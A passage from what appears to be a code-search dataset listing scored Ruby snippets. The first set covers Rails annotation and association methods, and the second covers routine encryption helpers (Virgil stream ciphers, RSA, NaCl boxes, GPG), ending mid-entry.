:source_id => source.id,\n :annotation_attributes => { :name => attrib.strip.downcase } },\n :order => \"created_at DESC\")\n end", "title": "" }, { "docid": "c30ad60379fcd35941ee8ed73cdda828", "score": "0.54447895", "text": "def macro\n :belongs_to\n end", "title": "" }, { "docid": "9b28cc3cc13176bc76af1ec1e01d03f6", "score": "0.5443268", "text": "def annotation\n @annotation ||= {}\n end", "title": "" }, { "docid": "dcb7e970c0dae9ae4c9d748760497e78", "score": "0.5440494", "text": "def annotation_id\n attributes.fetch(:annotationId)\n end", "title": "" }, { "docid": "dcb7e970c0dae9ae4c9d748760497e78", "score": "0.5440494", "text": "def annotation_id\n attributes.fetch(:annotationId)\n end", "title": "" }, { "docid": "9e0183b3f30cca5c32c42737b5db50df", "score": "0.5432268", "text": "def annotation_params\n params.require(:annotation).permit(:title, :content, :category_id)\n end", "title": "" }, { "docid": "304821e4436ad84c70e41f42ec61f86c", "score": "0.54244345", "text": "def associated_class; end", "title": "" }, { "docid": "7606abbaeb708e6a0d60317dfb8b3f2f", "score": "0.54237837", "text": "def annotation_params\n params.require(:annotation).permit(:map_id, :bodyMapUrl, :title, :description, :link, :objectId)\n end", "title": "" }, { "docid": "70cc1a8a7a9f114a4555f8662a4c1d13", "score": "0.5417905", "text": "def association; end", "title": "" }, { "docid": "70cc1a8a7a9f114a4555f8662a4c1d13", "score": "0.5417905", "text": "def association; end", "title": "" }, { "docid": "b65e3beb9de45cf8006f833de465d697", "score": "0.5406395", "text": "def index\n @collection = current_user.collections\n .includes({:documents => [:passages, {:annotations => :locations}, \n {:relations => {:references => [{:child => :locations}]}}]})\n .find(params[:collection_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @annotations }\n end\n end", "title": "" }, { "docid": "d1b676b76bdf8d08c971cd2fe109f9f7", "score": "0.54015577", "text": "def latest_annotations(limit=nil)\n obj_type = ActiveRecord::Base.send(:class_name_of_active_record_descendant, self.class).to_s\n \n Annotation.find(:all,\n :conditions => { :annotatable_type => obj_type, \n :annotatable_id => self.id },\n :order => \"created_at DESC\",\n :limit => limit)\n end", "title": "" }, { "docid": "20ef71df09c375698e97b1da699d5ccb", "score": "0.5393961", "text": "def set_annotation\n @annotation = Annotation.find(params[:id])\n end", "title": "" }, { "docid": "20ef71df09c375698e97b1da699d5ccb", "score": "0.5393961", "text": "def set_annotation\n @annotation = Annotation.find(params[:id])\n end", "title": "" }, { "docid": "eb9cb391f4521ea587dfffdc1c518545", "score": "0.5382326", "text": "def macro\n :belongs_to\n end", "title": "" }, { "docid": "eb9cb391f4521ea587dfffdc1c518545", "score": "0.5382326", "text": "def macro\n :belongs_to\n end", "title": "" }, { "docid": "f0bc4b4b8ff67d26de035aac2330c290", "score": "0.5365328", "text": "def annotation_id\n if self.type == 'image-annotation-highlight'\n self.id.gsub(/^highlight-/, '')\n elsif self.highlighted?\n # FIXME: might be surprising to return a list here...\n self.annotation_ids\n end\n end", "title": "" }, { "docid": "014882df42512df15c6b178a426a4370", "score": "0.53277224", "text": "def has_many(reflection, ids)\n @scope.joins(reflection.name).where(reflection.table_name => {\n reflection.association_primary_key => ids\n })\n end", "title": "" }, { "docid": "550a2445e61ebde68dff254fb4a21b04", "score": "0.53104174", "text": "def foreign_keys; end", "title": "" }, { "docid": "029f1da1ad0bc5189382a8ff031a6586", "score": "0.52322334", "text": "def belongs_to\n associated_models :belongs_to\n end", "title": "" }, { "docid": "ed7ba581c543b823a20b5d283a577884", "score": "0.5229016", "text": "def annotations\n structure[:annotations]\n end", "title": "" }, { "docid": "3b8fa38b3b761f686d3ab834610cea07", "score": "0.522169", "text": "def associations; self.class.class_eval(\"@@associations\") end", "title": "" }, { "docid": "3b8fa38b3b761f686d3ab834610cea07", "score": "0.522169", "text": "def associations; self.class.class_eval(\"@@associations\") end", "title": "" }, { "docid": "2a3447fa2ec2efd8685813732e44d2ef", "score": "0.5219252", "text": "def annotations\n embellishments.select { |e| e.is_a?(Annotation) }\n end", "title": "" }, { "docid": "8d1520a68ac505f6436f95e239921106", "score": "0.52145696", "text": "def save_belongs_to_association(reflection); end", "title": "" }, { "docid": "1e59eb054a66ad26251fa4b6ac57546b", "score": "0.51959527", "text": "def add_annotation()\n add_text\n add_arrow\n end", "title": "" }, { "docid": "bba896acede1750b892f5abf8b66e84f", "score": "0.51843804", "text": "def index\n @annotations = Annotation.all\n end", "title": "" }, { "docid": "cc9752b2355edb29a4dc946007ce1cad", "score": "0.51816565", "text": "def annotator; end", "title": "" }, { "docid": "3660b02f46b55fc25d79260de0c321eb", "score": "0.5172225", "text": "def index\n @annotation_collections = AnnotationCollection.all\n end", "title": "" }, { "docid": "d0044315797e57f34ed5c2c744010f96", "score": "0.51718765", "text": "def define_has_many_association(klass, attributes)\n # Track all attributes for this association, so that we can limit the scope\n # of keys for the association to only these attributes. We need to track the\n # attributes assigned to the association in case this setup code is called\n # multiple times, so we don't \"forget\" earlier attributes.\n #\n attrs_method_name = :\"__#{association_name}_attributes\"\n association_attributes = (klass.instance_variable_get(:\"@#{attrs_method_name}\") || []) + attributes\n klass.instance_variable_set(:\"@#{attrs_method_name}\", association_attributes)\n\n b = self\n\n klass.has_many association_name, ->{ where b.key_column => association_attributes },\n as: belongs_to,\n class_name: class_name.name,\n inverse_of: belongs_to,\n autosave: true\n end", "title": "" }, { "docid": "33577444c13f87d6784d1ebed06e2ce4", "score": "0.5165736", "text": "def macro\n :references_many\n end", "title": "" }, { "docid": "8f39d5943c648e3d046cc8e22c6296e4", "score": "0.5161168", "text": "def annotated\n all.tap do |relation|\n if relation.instance_variable_get(:@_annotations).nil?\n relation.instance_variable_set(:@_annotations, OpenStruct.new)\n end\n end\n end", "title": "" }, { "docid": "ff0d455829b5486ebdcf72533436bf2a", "score": "0.5158085", "text": "def set_annotation\n @annotation = Annotation.find(params[:id])\n end", "title": "" }, { "docid": "ff0d455829b5486ebdcf72533436bf2a", "score": "0.5158085", "text": "def set_annotation\n @annotation = Annotation.find(params[:id])\n end", "title": "" }, { "docid": "ff0d455829b5486ebdcf72533436bf2a", "score": "0.5158085", "text": "def set_annotation\n @annotation = Annotation.find(params[:id])\n end", "title": "" }, { "docid": "ff0d455829b5486ebdcf72533436bf2a", "score": "0.5158085", "text": "def set_annotation\n @annotation = Annotation.find(params[:id])\n end", "title": "" }, { "docid": "ff0244e0b73d4b5354274a495244f9a1", "score": "0.51552826", "text": "def annotation\n redis.get(desc_key)\n end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "45e9a91fe6a5ca0eaa11843c81fd9748", "score": "0.5143897", "text": "def annotation; @_sequence.annotation end", "title": "" }, { "docid": "3458a71aaec781f30787622dca003bde", "score": "0.5136066", "text": "def association_key_name; end", "title": "" }, { "docid": "3458a71aaec781f30787622dca003bde", "score": "0.5136066", "text": "def association_key_name; end", "title": "" }, { "docid": "c0061910edb7f5fd9ce654cdc8b19dc1", "score": "0.51358587", "text": "def associated(*associations); end", "title": "" }, { "docid": "c1f2d5a70f37f2b0eabd8e928ca1f15b", "score": "0.5131525", "text": "def include_annotation(name)\n AnnotationMatcher.new(name: name)\nend", "title": "" }, { "docid": "d028ec3adddeae3216932661ebf065c0", "score": "0.51287204", "text": "def normalize_annotations!(annotations)\n raise ArgumentError, \"annotations must be a hash.\" unless annotations.class == Hash\n raise ArgumentError, \"annotations must include a 'text'\" unless annotations[:text].present?\n\n if annotations[:sourcedb].present?\n annotations[:sourcedb] = 'PubMed' if annotations[:sourcedb].downcase == 'pubmed'\n annotations[:sourcedb] = 'PMC' if annotations[:sourcedb].downcase == 'pmc'\n annotations[:sourcedb] = 'FirstAuthor' if annotations[:sourcedb].downcase == 'firstauthor'\n end\n\n if annotations[:denotations].present?\n raise ArgumentError, \"'denotations' must be an array.\" unless annotations[:denotations].class == Array\n annotations[:denotations].each{|d| d = d.symbolize_keys}\n\n ids = annotations[:denotations].collect{|d| d[:id]}.compact\n idnum = 1\n\n annotations[:denotations].each do |a|\n raise ArgumentError, \"a denotation must have a 'span' or a pair of 'begin' and 'end'.\" unless (a[:span].present? && a[:span][:begin].present? && a[:span][:end].present?) || (a[:begin].present? && a[:end].present?)\n raise ArgumentError, \"a denotation must have an 'obj'.\" unless a[:obj].present?\n\n unless a.has_key? :id\n idnum += 1 until !ids.include?('T' + idnum.to_s)\n a[:id] = 'T' + idnum.to_s\n idnum += 1\n end\n\n a[:span] = {begin: a[:begin], end: a[:end]} if !a[:span].present? && a[:begin].present? && a[:end].present?\n\n a[:span][:begin] = a[:span][:begin].to_i if a[:span][:begin].is_a? String\n a[:span][:end] = a[:span][:end].to_i if a[:span][:end].is_a? String\n end\n end\n\n if annotations[:relations].present?\n raise ArgumentError, \"'relations' must be an array.\" unless annotations[:relations].class == Array\n annotations[:relations].each{|a| a = a.symbolize_keys}\n\n ids = annotations[:relations].collect{|a| a[:id]}.compact\n idnum = 1\n\n annotations[:relations].each do |a|\n raise ArgumentError, \"a relation must have 'subj', 'obj' and 'pred'.\" unless a[:subj].present? && a[:obj].present? && a[:pred].present?\n\n unless a.has_key? :id\n idnum += 1 until !ids.include?('R' + idnum.to_s)\n a[:id] = 'R' + idnum.to_s\n idnum += 1\n end\n end\n end\n\n if annotations[:modifications].present?\n raise ArgumentError, \"'modifications' must be an array.\" unless annotations[:modifications].class == Array\n annotations[:modifications].each{|a| a = a.symbolize_keys} \n\n ids = annotations[:modifications].collect{|a| a[:id]}.compact\n idnum = 1\n\n annotations[:modifications].each do |a|\n raise ArgumentError, \"a modification must have 'pred' and 'obj'.\" unless a[:pred].present? && a[:obj].present?\n\n unless a.has_key? :id\n idnum += 1 until !ids.include?('M' + idnum.to_s)\n a[:id] = 'M' + idnum.to_s\n idnum += 1\n end\n end\n end\n\n annotations\n end", "title": "" }, { "docid": "008a30f44bdceba6fb560119ec5164db", "score": "0.5125456", "text": "def add_existing_annotation\n @text = AnnotationText.find(params[:annotation_text_id])\n @submission_file_id = params[:submission_file_id]\n @submission_file = SubmissionFile.find(@submission_file_id)\n @annotation = Annotation.new\n @annotation.update_attributes({\n line_start: params[:line_start],\n line_end: params[:line_end],\n submission_file_id: params[:submission_file_id]\n })\n @annotation.annotation_text = @text\n @annotation.save\n @submission = @submission_file.submission\n @annotations = @submission.annotations\n end", "title": "" }, { "docid": "77820d877dba61b746250b56666c3f24", "score": "0.51249224", "text": "def annotations # :nodoc:\n @annotations.dup\n end", "title": "" }, { "docid": "d82976cee73580b096d8aab837797685", "score": "0.51154566", "text": "def index\n @image_annotations = ImageAnnotation.all\n end", "title": "" }, { "docid": "83111bfb3f73eae6cc43c952839cf3bc", "score": "0.511122", "text": "def annotations\n @occurrences.map(&:annotations).flatten\n end", "title": "" }, { "docid": "7cf3dbaa62be5d8d7f49f92b75edcb4e", "score": "0.51106614", "text": "def add_annotation(annotation)\n @annotations << annotation\n self\n end", "title": "" }, { "docid": "b9444e57c83b97810879e26f1c02ec04", "score": "0.5104945", "text": "def macro\n :references_many\n end", "title": "" }, { "docid": "c6bba3654e04313341606531eee97317", "score": "0.5097891", "text": "def get_annotations(article_id, lang)\n @words_to_learn.each do |word|\n if word.learn_type=='view'\n word.annotations = Annotation.where('article_id=? AND paragraph_idx=? AND text_idx=? AND selected_text=?',\n article_id, word.paragraph_index, word.word_index, word.text).order('vote + ' + WEIGHT_IMPLICIT_VOTE.to_s + '*implicit_vote DESC').limit(ANNOTATION_COUNT_MAX).pluck_all(:id, :translation, :vote, :implicit_vote)\n if !word.annotations.nil?\n word.annotations.each do |annotation|\n annotation['pronunciation'] = Utilities::AnnotationUtil.get_pronunciation_by_word(annotation['translation'], lang)\n annotation['audio_urls'] = Utilities::LearningUtil.get_audio_urls(annotation['pronunciation'], lang)\n annotation['more_url'] = Utilities::LearningUtil.get_more_url(annotation['translation'], lang)\n annotation['weighted_vote'] = Utilities::LearningUtil.get_weighted_vote(annotation['vote'], annotation['implicit_vote'], 'human')\n end\n end\n end\n end\n end", "title": "" }, { "docid": "cea00dff2db96222293cd2017f936f99", "score": "0.50790906", "text": "def key_concepts_annotate(text)\n preset_nlp(:keyConcepts, text)\n end", "title": "" }, { "docid": "90eb729936d6fb4b3d55df0f36adaeb3", "score": "0.50718594", "text": "def macro\n :references_and_referenced_in_many\n end", "title": "" }, { "docid": "90eb729936d6fb4b3d55df0f36adaeb3", "score": "0.50718594", "text": "def macro\n :references_and_referenced_in_many\n end", "title": "" }, { "docid": "d111f3fc6dd9c012a33ff253ac79ccd5", "score": "0.5058392", "text": "def annotation_params\n params.require(:annotation).permit(:passage_id, :original_spanish, :annotation_content)\n end", "title": "" }, { "docid": "99b575bfb5dee68fd77697e8599868aa", "score": "0.5050826", "text": "def association_name; end", "title": "" }, { "docid": "99b575bfb5dee68fd77697e8599868aa", "score": "0.5050826", "text": "def association_name; end", "title": "" }, { "docid": "1189aec5be7176188d891f79ef2f5d1e", "score": "0.5038593", "text": "def cache_has_many(association, embed: T.unsafe(nil)); end", "title": "" }, { "docid": "1189aec5be7176188d891f79ef2f5d1e", "score": "0.5038593", "text": "def cache_has_many(association, embed: T.unsafe(nil)); end", "title": "" }, { "docid": "0dfe2ad3a011d73d86c349889203dd66", "score": "0.50321716", "text": "def annotation_params\n params.require(:annotation).permit(:annotate_id, :annotate_context, :content)\n end", "title": "" }, { "docid": "ff9497ec01b5e007c64f7ded9f8accee", "score": "0.5016657", "text": "def has_many(*attrs)\n associate(:has_many, attrs)\n end", "title": "" }, { "docid": "91351caddd0319b97cdbcc72ab6bbb93", "score": "0.50050306", "text": "def update_annotation_data\n\n end", "title": "" }, { "docid": "0a8559b62a035e9b7e6a187049f599a6", "score": "0.5001251", "text": "def annotations(user=nil)\n self.class.visibility_filter(Annotation.where(:user_id=>id),'annotations',user)\n end", "title": "" }, { "docid": "a3298fae1412fe0160336e80841f91ad", "score": "0.49993086", "text": "def new_annotation_container\n {}\n end", "title": "" }, { "docid": "c6e48bade19d80a1646f1ac8f0577506", "score": "0.49981555", "text": "def set_annotation\n @annotation = Annotation.find(params['id'])\n @study = Study.where('nct_id = ?', @annotation.nct_id).try(:first)\n end", "title": "" }, { "docid": "093723345f35e063ee0c40b1ad6af33f", "score": "0.49975756", "text": "def associated_many_classes\n []\n end", "title": "" }, { "docid": "ed940582e57111eac49e20394b440a6e", "score": "0.49951455", "text": "def annotation_params\n params.require(:annotation).permit(:annotation_id, :pos, :ref, :genotype, :class_id, :gene_id, :mut_pos_id, :vcf_id, :comment, :hgvs)\n end", "title": "" } ]
1fb2b43fcb47786d08c82bc1e771d6a9
Encrypts the specified stream using recipients Public keys. Args: input_stream: readable stream containing input bytes. output_stream: writable stream for output. recipients: list of recipients' public keys.
[ { "docid": "8006674ccd6b6cec3bb9b6419aefeb2e", "score": "0.8479589", "text": "def encrypt_stream(input_stream, output_stream, *recipients)\n cipher = Crypto::Native::VirgilChunkCipher.new\n recipients.each do |public_key|\n cipher.add_key_recipient(public_key.receiver_id, public_key.value)\n end\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n sink = Crypto::VirgilStreamDataSink.new(output_stream)\n wrap_bytes(cipher.encrypt(source, sink))\n end", "title": "" } ]
[ { "docid": "88130e8c5b21f82b0c5006887dfb37e4", "score": "0.84470516", "text": "def encrypt_stream(input_stream, output_stream, *recipients)\n cipher = Crypto::Native::VirgilChunkCipher.new\n recipients.each do |public_key|\n cipher.add_key_recipient(public_key.receiver_id, public_key.value)\n end\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n sink = Crypto::VirgilStreamDataSink.new(output_stream)\n cipher.encrypt(source, sink)\n end", "title": "" }, { "docid": "7f887a7d8bf1abafa4996d582ac459b8", "score": "0.6559507", "text": "def encrypt(bytes, *recipients)\n cipher = Crypto::Native::VirgilCipher.new\n recipients.each do |public_key|\n cipher.add_key_recipient(public_key.receiver_id, public_key.value)\n end\n wrap_bytes(cipher.encrypt(bytes))\n end", "title": "" }, { "docid": "7f887a7d8bf1abafa4996d582ac459b8", "score": "0.6559507", "text": "def encrypt(bytes, *recipients)\n cipher = Crypto::Native::VirgilCipher.new\n recipients.each do |public_key|\n cipher.add_key_recipient(public_key.receiver_id, public_key.value)\n end\n wrap_bytes(cipher.encrypt(bytes))\n end", "title": "" }, { "docid": "f487bacd6bec1fa945a141f7e3479e2a", "score": "0.5744668", "text": "def sign_then_encrypt(bytes, private_key, *recipients)\n signer = Crypto::Native::VirgilSigner.new\n signature = signer.sign(bytes, private_key.value)\n cipher = Crypto::Native::VirgilCipher.new\n custom_bytes = cipher.custom_params\n custom_bytes.set_data(\n CUSTOM_PARAM_KEY_SIGNATURE,\n signature\n )\n\n public_key = extract_public_key(private_key)\n custom_bytes.set_data(\n CUSTOM_PARAM_KEY_SIGNER_ID,\n wrap_bytes(public_key.receiver_id)\n )\n\n recipients.each do |public_key|\n cipher.add_key_recipient(public_key.receiver_id, public_key.value)\n end\n wrap_bytes(cipher.encrypt(bytes))\n end", "title": "" }, { "docid": "0a964a40d99eb06367d551f48f4f6e03", "score": "0.5642773", "text": "def sign_then_encrypt(bytes, private_key, *recipients)\n signer = Crypto::Native::VirgilSigner.new\n signature = signer.sign(bytes, private_key.value)\n cipher = Crypto::Native::VirgilCipher.new\n custom_bytes = cipher.custom_params\n custom_bytes.set_data(\n CUSTOM_PARAM_KEY_SIGNATURE,\n signature\n )\n recipients.each do |public_key|\n cipher.add_key_recipient(public_key.receiver_id, public_key.value)\n end\n wrap_bytes(cipher.encrypt(bytes))\n end", "title": "" }, { "docid": "d8e675e21425f7681ce9cac569d13c4b", "score": "0.52451754", "text": "def sign_stream(input_stream, private_key)\n signer = Crypto::Native::VirgilStreamSigner.new\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n wrap_bytes(signer.sign(source, private_key.value))\n end", "title": "" }, { "docid": "d8e675e21425f7681ce9cac569d13c4b", "score": "0.52451754", "text": "def sign_stream(input_stream, private_key)\n signer = Crypto::Native::VirgilStreamSigner.new\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n wrap_bytes(signer.sign(source, private_key.value))\n end", "title": "" }, { "docid": "967e01f164fcc83c3683fc07b161e222", "score": "0.51727855", "text": "def encrypt_stream(plainStream, cryptStream)\n # Cypher-block-chain mode\n\n initVector = generate_initialization_vector(block_size() / 4)\n chain = encrypt_block(initVector)\n cryptStream.write(chain)\n\n while ((block = plainStream.read(block_size())) && (block.length == block_size()))\n block = xor(block, chain)\n encrypted = encrypt_block(block)\n cryptStream.write(encrypted)\n chain = encrypted\n end\n\n # write the final block\n # At most block_size()-1 bytes can be part of the message.\n # That means the final byte can be used to store the number of meaningful\n # bytes in the final block\n block = '' if block.nil?\n buffer = block.split('')\n remainingMessageBytes = buffer.length\n # we use 7-bit characters to avoid possible strange behavior on the Mac\n remainingMessageBytes.upto(block_size()-2) { buffer << rand(128).chr }\n buffer << remainingMessageBytes.chr\n block = buffer.join('')\n block = xor(block, chain)\n encrypted = encrypt_block(block)\n cryptStream.write(encrypted)\n end", "title": "" }, { "docid": "5f59d7295cd60261508500d8a06aed1e", "score": "0.4901114", "text": "def broadcast(recipients)\n @node[FROM] = stream.user.jid.to_s\n recipients.each do |recipient|\n @node[TO] = recipient.user.jid.to_s\n recipient.write(@node)\n end\n end", "title": "" }, { "docid": "fd7935e4e599b8cc02284ab518a5f501", "score": "0.48880833", "text": "def use_keystream(plaintext, keyStream)\r\n if(keyStream.length > plaintext.length)\r\n return xor_strings(plaintext, keyStream[0, plaintext.length])\r\n else\r\n return xor_strings(plaintext, keyStream)\r\n end\r\n end", "title": "" }, { "docid": "1f941fcaa583102d3b44ea524fda05a1", "score": "0.48744035", "text": "def encrypt(plaintext)\n if @opened\n raise(RuntimeError, \"cannot combine streaming use and atomic use\")\n end\n encrypt_more(plaintext) << encrypt_finish\n end", "title": "" }, { "docid": "97c30f29dbe8e04d1d240dfed66766af", "score": "0.48650405", "text": "def use_keystream(plaintext, keyStream)\n if(keyStream.length > plaintext.length)\n return xor_strings(plaintext, keyStream[0, plaintext.length])\n else\n return xor_strings(plaintext, keyStream)\n end\n end", "title": "" }, { "docid": "3377c34e29b0be5383d4a8e41b9eb922", "score": "0.47989202", "text": "def recipient_tuples( hide_recipients: true )\n\t\t# 4. For each recipient, encrypt the payload key using crypto_box with the\n\t\t# recipient's public key, the ephemeral private key, and the nonce\n\t\t# saltpack_recipsbXXXXXXXX. XXXXXXXX is 8-byte big-endian unsigned recipient\n\t\t# index, where the first recipient is index zero. Pair these with the\n\t\t# recipients' public keys, or null for anonymous recipients, and collect the\n\t\t# pairs into the recipients list.\n\t\treturn self.recipients.map.with_index do |recipient_key, i|\n\t\t\tbox = RbNaCl::Box.new( recipient_key, self.ephemeral_key )\n\t\t\tnonce = PAYLOAD_KEY_BOX_NONCE_PREFIX + [ i ].pack( 'Q>' )\n\t\t\tencrypted_key = box.encrypt( nonce, self.payload_key )\n\n\t\t\t[ hide_recipients ? nil : recipient_key, encrypted_key ]\n\t\tend\n\tend", "title": "" }, { "docid": "6a8b547bf842e27031d6f57631d71c65", "score": "0.47627795", "text": "def decrypt_stream(input_stream, output_stream, private_key)\n cipher = Crypto::Native::VirgilChunkCipher.new\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n sink = Crypto::VirgilStreamDataSink.new(output_stream)\n cipher.decrypt_with_key(\n source,\n sink,\n private_key.receiver_id,\n private_key.value\n )\n end", "title": "" }, { "docid": "cdb54fdfee995f01ccf05784f21f60b4", "score": "0.47536957", "text": "def decrypt_stream(input_stream, output_stream, private_key)\n cipher = Crypto::Native::VirgilChunkCipher.new\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n sink = Crypto::VirgilStreamDataSink.new(output_stream)\n cipher.decrypt_with_key(\n source,\n sink,\n private_key.receiver_id,\n private_key.value\n )\n end", "title": "" }, { "docid": "672ef1416169c055d9b733838135db34", "score": "0.4752716", "text": "def verify_stream(input_stream, signature, signer_public_key)\n signer = Crypto::Native::VirgilStreamSigner.new\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n signer.verify(source, signature, signer_public_key.value)\n end", "title": "" }, { "docid": "672ef1416169c055d9b733838135db34", "score": "0.4752716", "text": "def verify_stream(input_stream, signature, signer_public_key)\n signer = Crypto::Native::VirgilStreamSigner.new\n source = Crypto::VirgilStreamDataSource.new(input_stream)\n signer.verify(source, signature, signer_public_key.value)\n end", "title": "" }, { "docid": "6fd5ce5945e95ee4b2e9ed307c0cee4a", "score": "0.47300622", "text": "def encrypt_with_public(plain_text)\n crypted = aes_encrypt(plain_text)\n\n encoded_key = base64_encode(rsa_encrypt_with_public(crypted[:key]))\n encoded_data = base64_encode(crypted[:data])\n\n {:key => encoded_key, :data => encoded_data}\n end", "title": "" }, { "docid": "b1f7a1b099166c826d77599cf88e0cfd", "score": "0.46515635", "text": "def update_keys\n public_identity = params.require(:public)\n private_identity = params[:private]\n private_id_label = params[:label]\n\n # Check if encryption is already enabled (but not changing passphrase).\n old_identity = current_user.user_encryption_key&.encrypt_public\n if params[:overwrite].blank? && old_identity && old_identity != public_identity\n return render_json_error(I18n.t('encrypt.enabled_already'), status: 409)\n end\n\n current_user.user_encryption_key = UserEncryptionKey.new(user_id: current_user.id) if !current_user.user_encryption_key\n current_user.user_encryption_key.encrypt_public = public_identity\n\n if private_identity.present?\n if private_id_label.present?\n data = JSON.parse(current_user.user_encryption_key.encrypt_private) rescue {}\n data[private_id_label.downcase] = private_identity\n current_user.user_encryption_key.encrypt_private = JSON.dump(data)\n else\n current_user.user_encryption_key.encrypt_private = private_identity\n end\n end\n\n current_user.user_encryption_key.save\n current_user.publish_identity\n\n DiscourseEvent.trigger(:enabled_encrypt, current_user) if !old_identity\n\n render json: success_json\n end", "title": "" }, { "docid": "8bb0deba763455222390188e83c2060f", "score": "0.46255127", "text": "def encrypt_stream(path)\n s3path = File.basename(path)\n File.open(path, 'rb') do |file|\n @encrypt_client.put_object(bucket: @bucket, key: s3path, body: file)\n end\n end", "title": "" }, { "docid": "ebd9698409c96b83953b476fa0c08574", "score": "0.46154824", "text": "def rsa_encrypt(plaintext)\n @key.private_encrypt(plaintext)\n end", "title": "" }, { "docid": "bd9921340a69c1a55bb4b9fafd9ad6c1", "score": "0.45903623", "text": "def encrypt_string(string_to_encrypt, sender_private_key, receiver_public_key)\n RbNaCl::SimpleBox.from_keypair(receiver_public_key, sender_private_key).encrypt(string_to_encrypt)\n end", "title": "" }, { "docid": "b201ed26c36e61e7cac492de78a5eceb", "score": "0.45824268", "text": "def host_encrypt_string(string_to_encrypt, receiver_public_key)\n RbNaCl::SimpleBox.from_keypair(receiver_public_key, @private_key).encrypt(string_to_encrypt)\n end", "title": "" }, { "docid": "b3aa03281a4eb89e1c0122d62d33e87e", "score": "0.4551521", "text": "def encrypt_string(string, recipient, opts = {})\n command = gpg_command_array.dup\n command << '-a' if opts[:armor]\n command << '--encrypt'\n command << '--recipient' << recipient\n run_command(command, string)\n end", "title": "" }, { "docid": "26f616944e7bf5c60a9f9312da568912", "score": "0.45185468", "text": "def update_keys\n public_identity = params.require(:public)\n private_identity = params[:private]\n private_id_label = params[:label]\n\n # Allow user to update only their private identity if they have already\n # generated a key. This ensures the user cannot enable encryption on two\n # different devices at the same time.\n old_identity = current_user.user_encryption_key&.encrypt_public\n if old_identity && old_identity != public_identity\n return render_json_error(I18n.t(\"encrypt.enabled_already\"), status: 409)\n end\n\n current_user.user_encryption_key =\n UserEncryptionKey.new(user_id: current_user.id) if !current_user.user_encryption_key\n current_user.user_encryption_key.encrypt_public = public_identity\n\n if private_identity.present?\n if private_id_label.present?\n data =\n begin\n JSON.parse(current_user.user_encryption_key.encrypt_private)\n rescue StandardError\n {}\n end\n data[private_id_label.downcase] = private_identity\n current_user.user_encryption_key.encrypt_private = JSON.dump(data)\n else\n current_user.user_encryption_key.encrypt_private = private_identity\n end\n end\n\n current_user.user_encryption_key.save\n current_user.publish_identity\n\n DiscourseEvent.trigger(:enabled_encrypt, current_user) if !old_identity\n\n render json: success_json\n end", "title": "" }, { "docid": "7af0388b0b587f946dd4d3021d4b7c50", "score": "0.4514367", "text": "def rsa_encrypt_multi_key(value, public_keys)\n Mash.new(Hash[\n public_keys.map do |public_key|\n [node_key(public_key), rsa_encrypt_value(value, public_key)]\n end\n ])\n end", "title": "" }, { "docid": "7a1e2e5e0fc6a56712116f69bff5db29", "score": "0.4513669", "text": "def encrypt(text)\n encryptor.encrypt(text, recipients: encrypt_to, always_trust: true, sign: !sign_with.empty?, signers: sign_with)\n end", "title": "" }, { "docid": "98f15538ca93cb43bd448a1d0b3208ef", "score": "0.45028445", "text": "def assymmetric_encrypt(val, public_key)\n crypt_binary = public_key.public_encrypt(val.to_s)\n crypt_binary.unpack(\"H*\")\n end", "title": "" }, { "docid": "680e956195d1989b894dbf1f37c8871c", "score": "0.44911936", "text": "def encrypt(public_key)\n z = @ephemeral_key.dh_compute_key(public_key)\n\n concat_kdf = Support::ConcatKDF.new(Digest::SHA256.new)\n concat_kdf.run(z, @info, @key_length)\n end", "title": "" }, { "docid": "29a5f921cd4b47c67e7c8de97c10a6a9", "score": "0.44573337", "text": "def encrypt(keypath, plaintext)\n verbose 3, \"encrypt(\\\"#{keypath}\\\", \\\"#{plaintext}\\\")\"\n public_key = OpenSSL::PKey::RSA.new(File.read(keypath))\n ciphertext = Base64.strict_encode64(public_key.public_encrypt(plaintext))\n verbose 3, \" returns \\\"#{ciphertext}\\\"\"\n return ciphertext\nend", "title": "" }, { "docid": "1e3deb03566a6f63843c9b030f345876", "score": "0.44371784", "text": "def rsa4096\n input = 'this is love'\n\n rsa_key = OpenSSL::PKey::RSA.new(4096)\n # p rsa_key #=> OpenSSL::PKey::RSA\n\n rsa_public_key = rsa_key.public_key\n # p rsa_public_key #=> OpenSSL::PKey::RSA\n\n pem = rsa_key.to_pem\n # puts pem\n\n # padding defaults to PKCS1_PADDING\n encrypted_data = rsa_public_key.public_encrypt(input, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)\n\n # p encrypted_data\n\n rsa_key_restored = OpenSSL::PKey::RSA.new(pem)\n\n decrypted = rsa_key_restored.private_decrypt(encrypted_data, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)\n puts\n puts decrypted\nend", "title": "" }, { "docid": "d96b787b7d2e83d61fd256f1b2b3916c", "score": "0.4420683", "text": "def public_encrypt(*rest) end", "title": "" }, { "docid": "bcca8d1b5a2b2cf03716afd8a0bbaf90", "score": "0.44123542", "text": "def ssh_public_key_to_ssh2_public_key(ssh_public_key, headers = nil)\n raise PublicKeyError, \"invalid ssh public key\" unless SSHKey.valid_ssh_public_key?(ssh_public_key)\n\n source_format, source_key = parse_ssh_public_key(ssh_public_key)\n\n # Add a 'Comment' Header Field unless others are explicitly passed in\n if source_comment = ssh_public_key.split(source_key)[1]\n headers = {'Comment' => source_comment.strip} if headers.nil? && !source_comment.empty?\n end\n header_fields = build_ssh2_headers(headers)\n\n ssh2_key = \"---- 